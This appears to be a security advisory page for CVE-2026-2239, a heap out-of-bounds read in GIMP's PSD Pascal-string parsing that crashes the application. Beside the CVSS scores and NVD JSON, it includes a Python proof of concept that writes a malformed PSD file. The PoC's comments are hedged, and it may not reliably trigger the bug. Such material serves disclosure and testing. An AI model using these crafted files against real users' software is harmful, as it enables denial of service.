Security Vulnerability Report
中文
CVE-2026-2239 CVSS 2.8 LOW

CVE-2026-2239

Published: 2026-03-26 21:17:04
Last Modified: 2026-04-03 20:12:52

Description

A flaw was found in GIMP. Heap-buffer-overflow vulnerability exists in the fread_pascal_string function when processing a specially crafted PSD (Photoshop Document) file. This occurs because the buffer allocated for a Pascal string is not properly null-terminated, leading to an out-of-bounds read when strlen() is subsequently called. Successfully exploiting this vulnerability can cause the application to crash, resulting in an application level Denial of Service.

CVSS Details

CVSS Score
2.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.2.0:rc3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
GIMP (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-2239 - GIMP Heap Buffer Overflow # This script generates a malformed PSD file designed to trigger the vulnerability # in the fread_pascal_string function due to lack of null termination. def create_malicious_psd(filename): with open(filename, 'wb') as f: # PSD File Header (Signature '8BPS') f.write(b'8BPS') f.write(struct.pack('>H', 1)) # Version f.write(b'\x00' * 6) # Reserved f.write(struct.pack('>H', 1)) # Channels (RGB) f.write(struct.pack('>I', 1)) # Height f.write(struct.pack('>I', 1)) # Width f.write(struct.pack('>H', 8)) # Depth f.write(struct.pack('>H', 3)) # Mode (RGB) # Color Mode Data Section (Empty) f.write(struct.pack('>I', 0)) # Image Resources Section # We inject a resource with a malformed Pascal string. # The vulnerability occurs when the string length is processed but # the buffer is not null-terminated before strlen() is called. # Resource Block Signature f.write(b'8BIM') # Resource ID (e.g., 1005 for ResolutionInfo) f.write(struct.pack('>H', 1005)) # Malformed Pascal String: Name # Pascal string format: 1 byte length + characters. # If the bug assumes malloc(len) but reads len+1 or fails to add null terminator, # this can trigger the overflow. name_len = 50 f.write(struct.pack('B', name_len)) f.write(b'A' * name_len) # Write data without explicit null terminator in the stream logic # Resource Data Size f.write(struct.pack('>I', 0)) # Layer and Mask Information Section (Empty) f.write(struct.pack('>I', 0)) # Image Data Section (Raw data) f.write(struct.pack('>H', 0)) # Compression (None) f.write(b'\x00' * 3) # 1x1 pixel RGB data if __name__ == "__main__": print("Generating malicious PSD file for CVE-2026-2239...") create_malicious_psd('exploit_CVE-2026-2239.psd') print("File created: exploit_CVE-2026-2239.psd")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2239", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:04.483", "lastModified": "2026-04-03T20:12:51.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in GIMP. Heap-buffer-overflow vulnerability exists in the fread_pascal_string function when processing a specially crafted PSD (Photoshop Document) file. This occurs because the buffer allocated for a Pascal string is not properly null-terminated, leading to an out-of-bounds read when strlen() is subsequently called. Successfully exploiting this vulnerability can cause the application to crash, resulting in an application level Denial of Service."}, {"lang": "es", "value": "Se encontró una falla en GIMP. Existe una vulnerabilidad de desbordamiento de búfer de pila en la función fread_pascal_string al procesar un archivo PSD (Photoshop Document) especialmente diseñado. Esto ocurre porque el búfer asignado para una cadena Pascal no está correctamente terminado en nulo, lo que lleva a una lectura fuera de límites cuando se llama posteriormente a strlen(). Explotar con éxito esta vulnerabilidad puede provocar el bloqueo de la aplicación, lo que resulta en una denegación de servicio a nivel de aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 2.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.2.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "2FDE25FB-1089-4611-BC6A-584D06A5E5D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-2239", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2437675", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/gimp/-/issues/15812", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}